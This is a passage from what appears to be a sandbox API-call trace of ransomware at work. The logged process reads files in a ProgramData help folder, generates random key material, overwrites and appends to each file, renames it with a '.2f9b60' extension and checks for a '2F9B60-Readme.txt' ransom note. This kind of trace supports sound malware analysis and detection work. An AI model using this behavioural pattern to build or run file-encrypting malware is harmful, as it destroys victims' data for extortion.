lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x970 [0087.319] GetFileSizeEx (in: hFile=0x970, lpFileSize=0x20c4fa20 | out: lpFileSize=0x20c4fa20*=350) returned 1 [0087.319] SetFilePointerEx (in: hFile=0x970, liDistanceToMove=0x15a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.319] ReadFile (in: hFile=0x970, lpBuffer=0x20c4f9a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x20c4f9e8, lpOverlapped=0x0 | out: lpBuffer=0x20c4f9a0*, lpNumberOfBytesRead=0x20c4f9e8*=0x4, lpOverlapped=0x0) returned 1 [0087.320] SetFilePointerEx (in: hFile=0x970, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.320] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b440 [0087.320] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b4d0 [0087.320] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b320 [0087.320] NtQuerySystemTime (in: CurrentTime=0x20c4f8e0 | out: CurrentTime=0x20c4f8e0*=132462176932018000) returned 0x0 [0087.320] RtlRandomEx (in: Seed=0x20c4f8d0 | out: Seed=0x20c4f8d0) returned 0x733438d8 [0087.320] RtlRandomEx (in: Seed=0x20c4f8d0 | out: Seed=0x20c4f8d0) returned 0x6cee24af [0087.320] RtlRandomEx (in: Seed=0x20c4f8d0 | out: Seed=0x20c4f8d0) returned 0x2cf16df [0087.320] RtlRandomEx (in: Seed=0x20c4f8d0 | out: Seed=0x20c4f8d0) returned 0xc5e4b61 [0087.320] RtlRandomEx (in: Seed=0x20c4f8d0 | out: Seed=0x20c4f8d0) returned 0x5b1ab610 [0087.321] RtlRandomEx (in: Seed=0x20c4f8d0 | out: Seed=0x20c4f8d0) returned 0x6441ac07 [0087.321] RtlRandomEx (in: Seed=0x20c4f8d0 | out: Seed=0x20c4f8d0) returned 0x188b4ff1 [0087.321] RtlRandomEx (in: Seed=0x20c4f8d0 | out: Seed=0x20c4f8d0) returned 0x76a560e4 [0087.321] RtlRandomEx (in: Seed=0x20c4f8d0 | out: Seed=0x20c4f8d0) returned 0x26c3a5e [0087.321] RtlRandomEx (in: Seed=0x20c4f8d0 | out: Seed=0x20c4f8d0) returned 0x250aacb [0087.321] RtlRandomEx (in: Seed=0x20c4f8d0 | out: Seed=0x20c4f8d0) returned 0x294ea5b8 [0087.321] RtlRandomEx (in: Seed=0x20c4f8d0 | out: Seed=0x20c4f8d0) returned 0x7846b469 [0087.321] RtlRandomEx (in: Seed=0x20c4f8d0 | out: Seed=0x20c4f8d0) returned 0xdf5a312 [0087.321] RtlRandomEx (in: Seed=0x20c4f8d0 | out: Seed=0x20c4f8d0) returned 0x155d2864 [0087.321] RtlRandomEx (in: Seed=0x20c4f8d0 | out: Seed=0x20c4f8d0) returned 0x6c47e9b5 [0087.321] RtlRandomEx (in: Seed=0x20c4f8d0 | out: Seed=0x20c4f8d0) returned 0x7597e5e7 [0087.321] RtlRandomEx (in: Seed=0x20c4f8d0 | out: Seed=0x20c4f8d0) returned 0x456ffae3 [0087.321] RtlRandomEx (in: Seed=0x20c4f8d0 | out: Seed=0x20c4f8d0) returned 0x603be345 [0087.321] RtlRandomEx (in: Seed=0x20c4f8d0 | out: Seed=0x20c4f8d0) returned 0x2de0ff9f [0087.321] RtlRandomEx (in: Seed=0x20c4f8d0 | out: Seed=0x20c4f8d0) returned 0x555e551b [0087.321] RtlRandomEx (in: Seed=0x20c4f8d0 | out: Seed=0x20c4f8d0) returned 0x537bd611 [0087.321] RtlRandomEx (in: Seed=0x20c4f8d0 | out: Seed=0x20c4f8d0) returned 0x25cdb43c [0087.321] RtlRandomEx (in: Seed=0x20c4f8d0 | out: Seed=0x20c4f8d0) returned 0x2ae266e7 [0087.321] RtlRandomEx (in: Seed=0x20c4f8d0 | out: Seed=0x20c4f8d0) returned 0x3a92d5b8 [0087.321] RtlRandomEx (in: Seed=0x20c4f8d0 | out: Seed=0x20c4f8d0) returned 0x5797abdb [0087.321] RtlRandomEx (in: Seed=0x20c4f8d0 | out: Seed=0x20c4f8d0) returned 0x3bda7c10 [0087.321] RtlRandomEx (in: Seed=0x20c4f8d0 | out: Seed=0x20c4f8d0) returned 0x1d7631b3 [0087.321] RtlRandomEx (in: Seed=0x20c4f8d0 | out: Seed=0x20c4f8d0) returned 0xeaa85c6 [0087.321] RtlRandomEx (in: Seed=0x20c4f8d0 | out: Seed=0x20c4f8d0) returned 0x4a934d36 [0087.321] RtlRandomEx (in: Seed=0x20c4f8d0 | out: Seed=0x20c4f8d0) returned 0x4a36630c [0087.321] RtlRandomEx (in: Seed=0x20c4f8d0 | out: Seed=0x20c4f8d0) returned 0x128abc38 [0087.321] RtlRandomEx (in: Seed=0x20c4f8d0 | out: Seed=0x20c4f8d0) returned 0x4996ead2 [0087.328] ReadFile (in: hFile=0x970, lpBuffer=0x1cde08c0, nNumberOfBytesToRead=0x15e, lpNumberOfBytesRead=0x20c4f8d0, lpOverlapped=0x0 | out: lpBuffer=0x1cde08c0*, lpNumberOfBytesRead=0x20c4f8d0*=0x15e, lpOverlapped=0x0) returned 1 [0087.328] SetFilePointerEx (in: hFile=0x970, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.328] WriteFile (in: hFile=0x970, lpBuffer=0x1cde44d0*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x20c4f8d4, lpOverlapped=0x0 | out: lpBuffer=0x1cde44d0*, lpNumberOfBytesWritten=0x20c4f8d4*=0x15e, lpOverlapped=0x0) returned 1 [0087.342] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b530 [0087.342] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b470 [0087.342] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b470) returned 1 [0087.342] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cde44d0) returned 1 [0087.342] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cde08c0) returned 1 [0087.342] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e170) returned 1 [0087.342] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97210) returned 1 [0087.342] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3e) returned 0x1cd97210 [0087.342] SetFilePointerEx (in: hFile=0x970, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0087.342] WriteFile (in: hFile=0x970, lpBuffer=0x1b7d3a20*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x20c4f9f0, lpOverlapped=0x0 | out: lpBuffer=0x1b7d3a20*, lpNumberOfBytesWritten=0x20c4f9f0*=0x122, lpOverlapped=0x0) returned 1 [0087.372] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97260 [0087.372] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e0f0 [0087.372] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b410 [0087.372] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b410) returned 1 [0087.372] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x30) returned 0x1cd9eeb0 [0087.372] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b410 [0087.372] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b500 [0087.372] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b500) returned 1 [0087.372] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e0f0) returned 1 [0087.372] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97260) returned 1 [0087.372] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x61) returned 0x1b7c2130 [0087.372] sprintf (in: _Dest=0x1b7c2130, _Format="%c%c" | out: _Dest="af") returned 2 [0087.372] sprintf (in: _Dest=0x1b7c2132, _Format="%c%c" | out: _Dest="8d") returned 2 [0087.373] sprintf (in: _Dest=0x1b7c2134, _Format="%c%c" | out: _Dest="70") returned 2 [0087.373] sprintf (in: _Dest=0x1b7c2136, _Format="%c%c" | out: _Dest="00") returned 2 [0087.373] sprintf (in: _Dest=0x1b7c2138, _Format="%c%c" | out: _Dest="4c") returned 2 [0087.373] sprintf (in: _Dest=0x1b7c213a, _Format="%c%c" | out: _Dest="b9") returned 2 [0087.373] sprintf (in: _Dest=0x1b7c213c, _Format="%c%c" | out: _Dest="dd") returned 2 [0087.373] sprintf (in: _Dest=0x1b7c213e, _Format="%c%c" | out: _Dest="eb") returned 2 [0087.373] sprintf (in: _Dest=0x1b7c2140, _Format="%c%c" | out: _Dest="99") returned 2 [0087.373] sprintf (in: _Dest=0x1b7c2142, _Format="%c%c" | out: _Dest="5a") returned 2 [0087.373] sprintf (in: _Dest=0x1b7c2144, _Format="%c%c" | out: _Dest="b2") returned 2 [0087.373] sprintf (in: _Dest=0x1b7c2146, _Format="%c%c" | out: _Dest="45") returned 2 [0087.373] sprintf (in: _Dest=0x1b7c2148, _Format="%c%c" | out: _Dest="bb") returned 2 [0087.373] sprintf (in: _Dest=0x1b7c214a, _Format="%c%c" | out: _Dest="f8") returned 2 [0087.373] sprintf (in: _Dest=0x1b7c214c, _Format="%c%c" | out: _Dest="46") returned 2 [0087.373] sprintf (in: _Dest=0x1b7c214e, _Format="%c%c" | out: _Dest="a1") returned 2 [0087.373] sprintf (in: _Dest=0x1b7c2150, _Format="%c%c" | out: _Dest="68") returned 2 [0087.373] sprintf (in: _Dest=0x1b7c2152, _Format="%c%c" | out: _Dest="2b") returned 2 [0087.373] sprintf (in: _Dest=0x1b7c2154, _Format="%c%c" | out: _Dest="f1") returned 2 [0087.373] sprintf (in: _Dest=0x1b7c2156, _Format="%c%c" | out: _Dest="09") returned 2 [0087.373] sprintf (in: _Dest=0x1b7c2158, _Format="%c%c" | out: _Dest="33") returned 2 [0087.373] sprintf (in: _Dest=0x1b7c215a, _Format="%c%c" | out: _Dest="96") returned 2 [0087.373] sprintf (in: _Dest=0x1b7c215c, _Format="%c%c" | out: _Dest="f3") returned 2 [0087.373] sprintf (in: _Dest=0x1b7c215e, _Format="%c%c" | out: _Dest="3d") returned 2 [0087.373] sprintf (in: _Dest=0x1b7c2160, _Format="%c%c" | out: _Dest="ab") returned 2 [0087.373] sprintf (in: _Dest=0x1b7c2162, _Format="%c%c" | out: _Dest="e5") returned 2 [0087.373] sprintf (in: _Dest=0x1b7c2164, _Format="%c%c" | out: _Dest="58") returned 2 [0087.373] sprintf (in: _Dest=0x1b7c2166, _Format="%c%c" | out: _Dest="dc") returned 2 [0087.374] sprintf (in: _Dest=0x1b7c2168, _Format="%c%c" | out: _Dest="25") returned 2 [0087.374] sprintf (in: _Dest=0x1b7c216a, _Format="%c%c" | out: _Dest="40") returned 2 [0087.374] sprintf (in: _Dest=0x1b7c216c, _Format="%c%c" | out: _Dest="d9") returned 2 [0087.374] sprintf (in: _Dest=0x1b7c216e, _Format="%c%c" | out: _Dest="ed") returned 2 [0087.374] sprintf (in: _Dest=0x1b7c2170, _Format="%c%c" | out: _Dest="a6") returned 2 [0087.374] sprintf (in: _Dest=0x1b7c2172, _Format="%c%c" | out: _Dest="d5") returned 2 [0087.374] sprintf (in: _Dest=0x1b7c2174, _Format="%c%c" | out: _Dest="6e") returned 2 [0087.374] sprintf (in: _Dest=0x1b7c2176, _Format="%c%c" | out: _Dest="c2") returned 2 [0087.374] sprintf (in: _Dest=0x1b7c2178, _Format="%c%c" | out: _Dest="f2") returned 2 [0087.374] sprintf (in: _Dest=0x1b7c217a, _Format="%c%c" | out: _Dest="52") returned 2 [0087.374] sprintf (in: _Dest=0x1b7c217c, _Format="%c%c" | out: _Dest="b0") returned 2 [0087.374] sprintf (in: _Dest=0x1b7c217e, _Format="%c%c" | out: _Dest="38") returned 2 [0087.374] sprintf (in: _Dest=0x1b7c2180, _Format="%c%c" | out: _Dest="a7") returned 2 [0087.374] sprintf (in: _Dest=0x1b7c2182, _Format="%c%c" | out: _Dest="7b") returned 2 [0087.374] sprintf (in: _Dest=0x1b7c2184, _Format="%c%c" | out: _Dest="bb") returned 2 [0087.374] sprintf (in: _Dest=0x1b7c2186, _Format="%c%c" | out: _Dest="f8") returned 2 [0087.374] sprintf (in: _Dest=0x1b7c2188, _Format="%c%c" | out: _Dest="0f") returned 2 [0087.374] sprintf (in: _Dest=0x1b7c218a, _Format="%c%c" | out: _Dest="61") returned 2 [0087.374] sprintf (in: _Dest=0x1b7c218c, _Format="%c%c" | out: _Dest="6d") returned 2 [0087.374] sprintf (in: _Dest=0x1b7c218e, _Format="%c%c" | out: _Dest="ea") returned 2 [0087.374] RtlInitAnsiString (in: DestinationString=0x20c4fa68, SourceString="af8d70004cb9ddeb995ab245bbf846a1682bf1093396f33dabe558dc2540d9eda6d56ec2f252b038a77bbbf80f616dea" | out: DestinationString="af8d70004cb9ddeb995ab245bbf846a1682bf1093396f33dabe558dc2540d9eda6d56ec2f252b038a77bbbf80f616dea") [0087.374] RtlAnsiStringToUnicodeString (in: DestinationString=0x20c4fa38, SourceString="af8d70004cb9ddeb995ab245bbf846a1682bf1093396f33dabe558dc2540d9eda6d56ec2f252b038a77bbbf80f616dea", AllocateDestinationString=1 | out: DestinationString="af8d70004cb9ddeb995ab245bbf846a1682bf1093396f33dabe558dc2540d9eda6d56ec2f252b038a77bbbf80f616dea") returned 0x0 [0087.374] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc2) returned 0x118540 [0087.375] wcscat (in: _Dest=0x1b783f80, _Source="af8d70004cb9ddeb995ab245" | out: _Dest="C:\\ProgramData\\Microsoft Help\\af8d70004cb9ddeb995ab245") returned="C:\\ProgramData\\Microsoft Help\\af8d70004cb9ddeb995ab245" [0087.375] wcscat (in: _Dest=0x1b783f80, _Source=".2f9b60" | out: _Dest="C:\\ProgramData\\Microsoft Help\\af8d70004cb9ddeb995ab245.2f9b60") returned="C:\\ProgramData\\Microsoft Help\\af8d70004cb9ddeb995ab245.2f9b60" [0087.375] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft Help\\af8d70004cb9ddeb995ab245.2f9b60", NtPathName=0x20c4fa10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft Help\\af8d70004cb9ddeb995ab245.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0087.375] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x1b7a5a70 [0087.381] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a5a70) returned 1 [0087.381] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b77ad20) returned 1 [0087.381] NtQueryInformationFile (in: FileHandle=0x970, IoStatusBlock=0x20c4fa78, FileInformation=0x20c4fa88, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x20c4fa78, FileInformation=0x20c4fa88) returned 0x0 [0087.381] NtSetInformationFile (FileHandle=0x970, IoStatusBlock=0x20c4fa78, FileInformation=0x20c4fa88, Length=0x28, FileInformationClass=0x4) returned 0x0 [0087.383] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b783f80) returned 1 [0087.383] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x118540) returned 1 [0087.383] FlushFileBuffers (hFile=0x970) returned 1 [0087.385] CloseHandle (hObject=0x970) returned 1 [0087.385] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b7c2130 [0087.385] wcscpy (in: _Dest=0x1b7c2130, _Source="C:\\ProgramData\\Microsoft Help\\" | out: _Dest="C:\\ProgramData\\Microsoft Help\\") returned="C:\\ProgramData\\Microsoft Help\\" [0087.385] wcscat (in: _Dest=0x1b7c2130, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\ProgramData\\Microsoft Help\\2F9B60-Readme.txt") returned="C:\\ProgramData\\Microsoft Help\\2F9B60-Readme.txt" [0087.385] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\2F9B60-Readme.txt" (normalized: "c:\\programdata\\microsoft help\\2f9b60-readme.txt")) returned 0x2020 [0087.386] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c2130) returned 1 [0087.386] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e1f0) returned 1 Thread: id = 223 os_tid = 0xcac [0087.344] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.VISIO_STD.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.visio_std.14.1033.hxn")) returned 0x2022 [0087.344] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.VISIO_STD.14.1033.hxn", dwFileAttributes=0x20) returned 1 [0087.345] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.VISIO_STD.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.visio_std.14.1033.hxn"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x96c [0087.345] GetFileSizeEx (in: hFile=0x96c, lpFileSize=0x20fbf940 | out: lpFileSize=0x20fbf940*=350) returned 1 [0087.345] SetFilePointerEx (in: hFile=0x96c, liDistanceToMove=0x15a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.345] ReadFile (in: hFile=0x96c, lpBuffer=0x20fbf8c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x20fbf908, lpOverlapped=0x0 | out: lpBuffer=0x20fbf8c0*, lpNumberOfBytesRead=0x20fbf908*=0x4, lpOverlapped=0x0) returned 1 [0087.346] SetFilePointerEx (in: hFile=0x96c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.346] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b410 [0087.346] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b380 [0087.346] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b500 [0087.346] NtQuerySystemTime (in: CurrentTime=0x20fbf800 | out: CurrentTime=0x20fbf800*=132462176932330000) returned 0x0 [0087.346] RtlRandomEx (in: Seed=0x20fbf7f0 | out: Seed=0x20fbf7f0) returned 0x1ac75052 [0087.346] RtlRandomEx (in: Seed=0x20fbf7f0 | out: Seed=0x20fbf7f0) returned 0x40d8ec06 [0087.346] RtlRandomEx (in: Seed=0x20fbf7f0 | out: Seed=0x20fbf7f0) returned 0x285f2fab [0087.346] RtlRandomEx (in: Seed=0x20fbf7f0 | out: Seed=0x20fbf7f0) returned 0xb1b1167 [0087.346] RtlRandomEx (in: Seed=0x20fbf7f0 | out: Seed=0x20fbf7f0) returned 0x3b3fd1bb [0087.346] RtlRandomEx (in: Seed=0x20fbf7f0 | out: Seed=0x20fbf7f0) returned 0x5463e527 [0087.346] RtlRandomEx (in: Seed=0x20fbf7f0 | out: Seed=0x20fbf7f0) returned 0x7e8a6bc [0087.346] RtlRandomEx (in: Seed=0x20fbf7f0 | out: Seed=0x20fbf7f0) returned 0x275b2eb3 [0087.346] RtlRandomEx (in: Seed=0x20fbf7f0 | out: Seed=0x20fbf7f0) returned 0x6a3d4fb5 [0087.346] RtlRandomEx (in: Seed=0x20fbf7f0 | out: Seed=0x20fbf7f0) returned 0x3c24720c [0087.346] RtlRandomEx (in: Seed=0x20fbf7f0 | out: Seed=0x20fbf7f0) returned 0x4789c144 [0087.346] RtlRandomEx (in: Seed=0x20fbf7f0 | out: Seed=0x20fbf7f0) returned 0x623d3653 [0087.346] RtlRandomEx (in: Seed=0x20fbf7f0 | out: Seed=0x20fbf7f0) returned 0x39bb815e [0087.346] RtlRandomEx (in: Seed=0x20fbf7f0 | out: Seed=0x20fbf7f0) returned 0x5a22bdd2 [0087.346] RtlRandomEx (in: Seed=0x20fbf7f0 | out: Seed=0x20fbf7f0) returned 0x6d69652e [0087.347] RtlRandomEx (in: Seed=0x20fbf7f0 | out: Seed=0x20fbf7f0) returned 0x41490af4 [0087.347] RtlRandomEx (in: Seed=0x20fbf7f0 | out: Seed=0x20fbf7f0) returned 0x2ed5298f [0087.347] RtlRandomEx (in: Seed=0x20fbf7f0 | out: Seed=0x20fbf7f0) returned 0x49cdba71 [0087.347] RtlRandomEx (in: Seed=0x20fbf7f0 | out: Seed=0x20fbf7f0) returned 0x37fe25cd [0087.347] RtlRandomEx (in: Seed=0x20fbf7f0 | out: Seed=0x20fbf7f0) returned 0x53637cf5 [0087.347] RtlRandomEx (in: Seed=0x20fbf7f0 | out: Seed=0x20fbf7f0) returned 0xb075051 [0087.347] RtlRandomEx (in: Seed=0x20fbf7f0 | out: Seed=0x20fbf7f0) returned 0x468a40c4 [0087.347] RtlRandomEx (in: Seed=0x20fbf7f0 | out: Seed=0x20fbf7f0) returned 0x7f5e03d1 [0087.347] RtlRandomEx (in: Seed=0x20fbf7f0 | out: Seed=0x20fbf7f0) returned 0x5a4a8965 [0087.347] RtlRandomEx (in: Seed=0x20fbf7f0 | out: Seed=0x20fbf7f0) returned 0x46f9fcbe [0087.347] RtlRandomEx (in: Seed=0x20fbf7f0 | out: Seed=0x20fbf7f0) returned 0x1a87a954 [0087.347] RtlRandomEx (in: Seed=0x20fbf7f0 | out: Seed=0x20fbf7f0) returned 0x339c702a [0087.347] RtlRandomEx (in: Seed=0x20fbf7f0 | out: Seed=0x20fbf7f0) returned 0x7cc5753d [0087.347] RtlRandomEx (in: Seed=0x20fbf7f0 | out: Seed=0x20fbf7f0) returned 0xa589ec1 [0087.347] RtlRandomEx (in: Seed=0x20fbf7f0 | out: Seed=0x20fbf7f0) returned 0x187858ce [0087.347] RtlRandomEx (in: Seed=0x20fbf7f0 | out: Seed=0x20fbf7f0) returned 0x73ab77dc [0087.347] RtlRandomEx (in: Seed=0x20fbf7f0 | out: Seed=0x20fbf7f0) returned 0x3b96b728 [0087.355] ReadFile (in: hFile=0x96c, lpBuffer=0x1cde08c0, nNumberOfBytesToRead=0x15e, lpNumberOfBytesRead=0x20fbf7f0, lpOverlapped=0x0 | out: lpBuffer=0x1cde08c0*, lpNumberOfBytesRead=0x20fbf7f0*=0x15e, lpOverlapped=0x0) returned 1 [0087.355] SetFilePointerEx (in: hFile=0x96c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.355] WriteFile (in: hFile=0x96c, lpBuffer=0x1cde44d0*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x20fbf7f4, lpOverlapped=0x0 | out: lpBuffer=0x1cde44d0*, lpNumberOfBytesWritten=0x20fbf7f4*=0x15e, lpOverlapped=0x0) returned 1 [0087.388] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b560 [0087.388] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b3b0 [0087.388] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b3b0) returned 1 [0087.388] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cde44d0) returned 1 [0087.388] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cde08c0) returned 1 [0087.388] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e170) returned 1 [0087.388] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97300) returned 1 [0087.388] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3e) returned 0x1cd97300 [0087.389] SetFilePointerEx (in: hFile=0x96c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0087.389] WriteFile (in: hFile=0x96c, lpBuffer=0x1b7d3a20*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x20fbf910, lpOverlapped=0x0 | out: lpBuffer=0x1b7d3a20*, lpNumberOfBytesWritten=0x20fbf910*=0x122, lpOverlapped=0x0) returned 1 [0087.392] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97210 [0087.392] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e170 [0087.392] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b2f0 [0087.392] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b2f0) returned 1 [0087.392] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x30) returned 0x1cd9eeb0 [0087.392] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b2f0 [0087.392] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b4d0 [0087.392] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b4d0) returned 1 [0087.392] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e170) returned 1 [0087.392] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97210) returned 1 [0087.392] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x61) returned 0x1b7c2130 [0087.392] sprintf (in: _Dest=0x1b7c2130, _Format="%c%c" | out: _Dest="bb") returned 2 [0087.393] sprintf (in: _Dest=0x1b7c2132, _Format="%c%c" | out: _Dest="a1") returned 2 [0087.393] sprintf (in: _Dest=0x1b7c2134, _Format="%c%c" | out: _Dest="56") returned 2 [0087.393] sprintf (in: _Dest=0x1b7c2136, _Format="%c%c" | out: _Dest="ba") returned 2 [0087.393] sprintf (in: _Dest=0x1b7c2138, _Format="%c%c" | out: _Dest="ec") returned 2 [0087.393] sprintf (in: _Dest=0x1b7c213a, _Format="%c%c" | out: _Dest="d0") returned 2 [0087.393] sprintf (in: _Dest=0x1b7c213c, _Format="%c%c" | out: _Dest="45") returned 2 [0087.393] sprintf (in: _Dest=0x1b7c213e, _Format="%c%c" | out: _Dest="ba") returned 2 [0087.393] sprintf (in: _Dest=0x1b7c2140, _Format="%c%c" | out: _Dest="bc") returned 2 [0087.393] sprintf (in: _Dest=0x1b7c2142, _Format="%c%c" | out: _Dest="c8") returned 2 [0087.393] sprintf (in: _Dest=0x1b7c2144, _Format="%c%c" | out: _Dest="24") returned 2 [0087.393] sprintf (in: _Dest=0x1b7c2146, _Format="%c%c" | out: _Dest="49") returned 2 [0087.393] sprintf (in: _Dest=0x1b7c2148, _Format="%c%c" | out: _Dest="bd") returned 2 [0087.393] sprintf (in: _Dest=0x1b7c214a, _Format="%c%c" | out: _Dest="c7") returned 2 [0087.393] sprintf (in: _Dest=0x1b7c214c, _Format="%c%c" | out: _Dest="28") returned 2 [0087.393] sprintf (in: _Dest=0x1b7c214e, _Format="%c%c" | out: _Dest="8a") returned 2 [0087.393] sprintf (in: _Dest=0x1b7c2150, _Format="%c%c" | out: _Dest="08") returned 2 [0087.393] sprintf (in: _Dest=0x1b7c2152, _Format="%c%c" | out: _Dest="18") returned 2 [0087.393] sprintf (in: _Dest=0x1b7c2154, _Format="%c%c" | out: _Dest="9c") returned 2 [0087.394] sprintf (in: _Dest=0x1b7c2156, _Format="%c%c" | out: _Dest="1d") returned 2 [0087.394] sprintf (in: _Dest=0x1b7c2158, _Format="%c%c" | out: _Dest="35") returned 2 [0087.394] sprintf (in: _Dest=0x1b7c215a, _Format="%c%c" | out: _Dest="18") returned 2 [0087.394] sprintf (in: _Dest=0x1b7c215c, _Format="%c%c" | out: _Dest="48") returned 2 [0087.394] sprintf (in: _Dest=0x1b7c215e, _Format="%c%c" | out: _Dest="c9") returned 2 [0087.394] sprintf (in: _Dest=0x1b7c2160, _Format="%c%c" | out: _Dest="df") returned 2 [0087.394] sprintf (in: _Dest=0x1b7c2162, _Format="%c%c" | out: _Dest="40") returned 2 [0087.394] sprintf (in: _Dest=0x1b7c2164, _Format="%c%c" | out: _Dest="6e") returned 2 [0087.394] sprintf (in: _Dest=0x1b7c2166, _Format="%c%c" | out: _Dest="1a") returned 2 [0087.394] sprintf (in: _Dest=0x1b7c2168, _Format="%c%c" | out: _Dest="58") returned 2 [0087.394] sprintf (in: _Dest=0x1b7c216a, _Format="%c%c" | out: _Dest="64") returned 2 [0087.394] 